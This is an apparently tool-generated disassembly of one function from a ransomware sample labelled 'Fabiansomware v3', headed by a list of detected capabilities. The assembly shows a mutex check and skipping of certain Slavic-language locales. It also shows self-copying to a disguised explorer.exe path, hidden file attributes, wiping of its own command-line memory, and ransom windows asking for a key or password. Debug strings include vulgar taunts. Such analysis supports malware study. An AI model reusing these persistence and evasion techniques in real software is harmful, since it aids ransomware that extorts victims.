Function at 0x401dd0
Capabilities:
Accept command line arguments
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create thread
Delete file
Get file attributes
Get number of processors
Hide graphical window
Print debug messages
Query environment variable
Resolve function by parsing pe exports
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x25c
push ebx
push esi
push edi
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push str.Crack_me_again__motherfucker__Show_that_you_have_eggs_
movzx esi, ax
call edi
push str.Wow_xXToffeeXx_nice_ass___
call edi
push str.LocalFabiansomware
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x402374
cmp esi, 0x419
je 0x402374
cmp esi, 0x422
je 0x402374
cmp esi, 0x423
je 0x402374
push str.RtlComputeCrc32
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x200
push 0x405060
push ebx
mov dword [0x405460], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0x200
push 0x406140
push str._PROGRAMFILES_Windows_NTexplorer.exe
call esi
push 0x406140
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x401ee7
push 1
push 0x406140
push 0x405060
call dword [sym.imp.KERNEL32.dll_CopyFileW]
call fcn.004017c0
push 0xff
lea eax, [esp + 0x6c]
push eax
push str._systemroot_explorer.exe
call esi
lea eax, [esp + 0x68]
call fcn.00401d30
push 6
push 0x406140
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
call fcn.00401710
jmp 0x401f8e
push str.explorer.exe
push 0x405060
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x401f8e
mov edi, dword fs:[0x30]
mov eax, dword [edi + 0x10]
mov dword [0x405680], 1
cmp word [eax + 0x40], bx
je 0x401f8e
mov edx, dword [eax + 0x44]
lea ecx, [esp + 0x18]
push ecx
push edx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [esp + 0x18], 2
mov esi, eax
jne 0x401f8e
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [esi + 4]
push ecx
push 0x405480
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
call fcn.00401a10
mov eax, dword [edi + 0x10]
movzx ecx, word [eax + 0x38]
mov eax, dword [eax + 0x3c]
cmp ecx, ebx
je 0x401f68
nop
mov byte [eax], bl
inc eax
sub ecx, 1
jne 0x401f60
mov eax, dword [edi + 0x10]
movzx ecx, word [eax + 0x40]
mov eax, dword [eax + 0x44]
cmp ecx, ebx
je 0x401f7e
mov byte [eax], bl
inc eax
sub ecx, 1
jne 0x401f76
push ebx
push ebx
push ebx
push 0x4015a0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00401ad0
mov esi, dword [ebp + 8]
mov edi, dword [sym.imp.USER32.dll_LoadIconW]
push 0x7f00
push ebx
mov dword [esp + 0x38], esi
mov dword [esp + 0x4c], str.Fabiansomware_v3
mov dword [esp + 0x2c], 0x401be0
mov dword [esp + 0x28], 8
mov dword [esp + 0x24], 0x30
call edi
push 0x7f00
push ebx
mov dword [esp + 0x3c], eax
call edi
push 0x7f00
push ebx
mov dword [esp + 0x50], eax
call dword [sym.imp.USER32.dll_LoadCursorW]
lea edx, [esp + 0x1c]
push edx
mov dword [esp + 0x3c], eax
mov dword [esp + 0x44], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x40], 1
call dword [sym.imp.USER32.dll_RegisterClassExW]
test ax, ax
je 0x402374
cmp dword [0x405680], ebx
jne 0x40216d
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push ebx
push esi
push ebx
push ebx
push 0x14a
push 0x10d
push 1
call edi
cdq
sub eax, edx
sar eax, 1
sub eax, 0x10e
push eax
push ebx
call edi
cdq
sub eax, edx
sar eax, 1
sub eax, 0xa0
push eax
push 0x480000
push str.Fabiansomware_v3
push str.Fabiansomware_v3
push ebx
mov ebx, dword [sym.imp.USER32.dll_CreateWindowExW]
call ebx
push 0
mov edi, eax
push 0xfffffffffffffffa
push edi
call dword [sym.imp.USER32.dll_GetWindowLongW]
push eax
push 0x1f5
push edi
push 0xd2
push 0x12c
push 0xbe
push 0
push 0x50010000
push str.ST_U
push str.static
push 0
call ebx
push str._r_n__________Please_type_encryption_key:
push eax
mov dword [0x406124], eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
push 0
push esi
push 0x1f6
push edi
push 0x17
push 0xb4
push 0xe6
push 0x28
push 0x50000000
push 0x403870
push str.EDIT
push 0x200
call ebx
push 0
push esi
push 0
push edi
push 0x17
push 0xb4
push 0x104
push 0x28
push 0x50010001
push str.Continue
push str.BUTTON
push 0
mov dword [0x406120], eax
call ebx
push 0
push esi
push 0x2711
push edi
mov dword [0x406554], eax
push 0x64
push 0x64
push 0
push 0
push 0x5000000e
push str.Picture_Box
push str.Static
push 0
call ebx
push 0x67
push 0
mov dword [0x405044], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.USER32.dll_LoadBitmapW]
push eax
push 0
mov dword [0x406558], eax
mov eax, dword [0x405044]
push 0x172
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
push 0xa
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x402325
call fcn.004016b0
push ebx
call dword [sym.imp.USER32.dll_GetDC]
mov ebx, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov edi, eax
push 8
push edi
call ebx
push 0xa
push edi
mov dword [esp + 0x1c], eax
call ebx
push edi
mov ebx, eax
push 0
mov dword [esp + 0x18], ebx
call dword [sym.imp.USER32.dll_ReleaseDC]
mov ecx, dword [esp + 0x14]
push 0
push esi
push 0
push 0
push ebx
push ecx
push 0
push 0x80000000
push 0x80000000
push 0x403870
push str.Fabiansomware_v3
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov edi, eax
mov eax, 0x55555556
imul ebx
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov eax, 0x55555556
imul dword [esp + 0x14]
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x88888889
imul dword [esp + 0x10]
add edx, dword [esp + 0x10]
push 0
push esi
push 0x1f5
push edi
push ebx
sar edx, 3
push ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
push eax
push ecx
push 0x50010000
push str.ST_U
push str.static
push 0
mov dword [esp + 0x3c], ecx
call dword [sym.imp.USER32.dll_CreateWindowExW]
push 0x4056a0
push eax
mov dword [0x406124], eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
mov eax, dword [esp + 0x10]
push 0
push esi
cdq
push 0x1f5
sub eax, edx
push edi
sar eax, 1
push 0x10
sub eax, 0x50
push 0x46
push eax
mov eax, dword [esp + 0x30]
cdq
sub eax, edx
sar eax, 1
sub eax, 0x23
push eax
push 0x50010000
push str.ST_U
push str.static
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
push str.Password:
push eax
mov dword [0x406124], eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
mov eax, dword [esp + 0xc]
push 0
push esi
push 0x1f6
push edi
push 0x17
push 0xb4
lea ecx, [ebx + 0x5a]
push ecx
add eax, 0xb1
push eax
push 0x50000000
push 0x403870
push str.EDIT
push 0x200
mov dword [esp + 0x3c], eax
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov edx, dword [esp + 0xc]
push 0
push esi
push 0
push edi
push 0x17
push 0xb4
add ebx, 0x78
push ebx
push edx
push 0x50010001
push str.Unlock
push str.BUTTON
push 0
mov dword [0x406120], eax
call dword [sym.imp.USER32.dll_CreateWindowExW]
push 3
push edi
mov dword [0x406554], eax
call dword [sym.imp.USER32.dll_ShowWindow]
push edi
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0
push 0
push 0
push 0x401820
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x405684], eax
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
push 0
push 0
push 0
lea eax, [esp + 0x58]
push eax
call esi
test eax, eax
je 0x402367
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
lea ecx, [esp + 0x4c]
push ecx
call edi
lea edx, [esp + 0x4c]
push edx
call ebx
push 0
push 0
push 0
lea eax, [esp + 0x58]
push eax
call esi
test eax, eax
jne 0x402348
mov eax, dword [esp + 0x54]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]